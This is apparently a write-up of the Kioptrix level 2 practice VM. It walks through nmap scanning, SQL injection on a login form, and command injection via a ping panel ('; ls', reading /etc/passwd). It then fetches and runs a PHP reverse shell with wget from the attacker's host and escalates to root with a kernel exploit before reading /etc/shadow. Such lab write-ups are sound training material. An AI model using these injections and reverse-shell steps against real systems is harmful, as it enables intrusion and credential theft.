Kioptrix 2: Write-up

This post contains the steps to get a root shell with Kioptrix level 2 VM

This VM can he found here. Have a look to find even more VMs

Host discovery

First, we need to discover where the machine is on our network. To do so, let’s use Nmap:

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nmap -sP 192.168.1.1/24 

Fingerprinting

After getting the IP address, we need to do some fingerprinting.

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nmap -sV 192.168.1.42

Fig. Nmap scan result

As I saw it in the scan report, I decided to scan the port 80 with Nikto.

Fig. Nikto report on ports 80 (HTTP)

There was no interesting file or any ‘obvious’ vulnerability. So, I decided to check the Web application.

Exploitation

When you arrive on the Index page, you have a login page. No Stylesheet file, etc. So I decided to check if the login form was vulnerable to SQL injection..

Fig. Testing SQL Injection in Login form

Bingo, it was !

Thanks to this flaw, we had access to a “admin panel” to launch ping commands. Seems there might be a Command Execution vulnerability.

I tried using payload like : ; ls

And guess what ? It worked !

Then, let’s get the /etc/passwd file.

Fig. Command injected to display /etc/passwd

And the result :

Fig. Output when using the Command exec to display /etc/passwd

After this, we were able to launch commands on the system but the shell was under apache’s user. No privilege..

Privilege Escalation

The final step was to find a local root exploit that we could use.

By typing uname -a command, I found a corresponding exploit : Linux Kernel 2.6 < 2.6.19 – (32bit) ip_append_data() ring0 Root Exploit

However, we didn’t have write access in the current folder, so let’s download it in /tmp.

Moreover, a fun trick would be to get a PHP Reverse Shell. Download it, change the configuration, send it using Netcat / wget like this :

On your host machine :

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cat php-reverse-shell.php | nc -l 8080

And using the command execution vulnerability, download the file:

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; wget 192.168.1.1:8080 -O /tmp/shell.php

And launch the shell :

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; php /tmp/shell.php

And you got a reverse shell (:–)) on your machine :

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Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux
 12:59:24 up  3:51,  0 users,  load average: 0.07, 0.09, 0.03
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell

Then, download the Root exploit, compile it, run it and you’re root.

Fig. Exploit worked and we’re now root

Then, we read the /etc/shadow, crack the password etc.

Hope you liked it and good evening !

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